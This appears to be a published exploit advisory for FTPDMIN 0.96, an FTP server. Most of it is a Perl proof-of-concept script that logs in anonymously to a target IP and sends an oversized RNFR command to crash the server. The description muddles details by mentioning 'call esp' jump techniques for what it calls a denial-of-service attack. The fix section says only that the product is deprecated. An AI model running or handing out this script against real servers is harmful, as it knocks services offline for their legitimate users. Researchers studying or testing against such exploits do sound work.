FTPDMIN 0.96 Denial Of Service

`#!/usr/bin/perl  
  
use Net::FTP;  
  
# Exploit Title: FTPDMIN 0.96 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 2024-01-01  
# Vendor Homepage: https://www.sentex.ca/~mwandel/ftpdmin/  
# Download to demo:  
https://drive.google.com/file/d/1CpfvaJbJVxR3HPWvcxIVipTaTj7RAaLd/view?usp=sharing  
# Notification vendor: Yes reported  
# Tested Version: FTPDMIN 0.96  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=q-CVJfYdd-g  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2  
and 3 (English).  
#For this exploit I have tried several strategies to increase reliability  
and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data via  
FTP command RNFR.  
#The following request sends a large amount of data to the FTP server to  
process across command RNFR, the server will crash as soon as it is  
received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash  
the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "[+] Exploiting... \n";  
  
my $buf = "\x41"x269;  
my $point = "\x45\x2a\x42\x7b";  
my $buf2 = "\x41"x126;  
  
my $payload = "RNFR ".$buf . $point . $buf2;  
  
my $ftp = Net::FTP->new($ip, Debug => 0) or die "Can't connect to  
server: $@";  
  
$ftp->login("anonymous",'anonymous');  
  
$ftp->quot($payload);  
  
$ftp->quit;  
  
  
print "[+] Done - Exploited success!!!!!\n\n";  
  
sub intro {  
print "***************************************************\n";  
print "* FTPDMIN 0.96 - Denied of Service *\n";  
print "* *\n";  
print "* Coded by Fernando Mengali *\n";  
print "* *\n";  
print "* e-mail: fernando.mengalli\@gmail.com *\n";  
print "* *\n";  
print "***************************************************\n";  
}  
  
sub main {  
  
our ($ip) = @ARGV;  
  
unless (defined($ip)) {  
  
print " \nUsage: $0 <ip> \n";  
exit(-1);  
  
}  
}  
  
#3. Solution/ How to fix:  
  
# This version product is deprecated  
`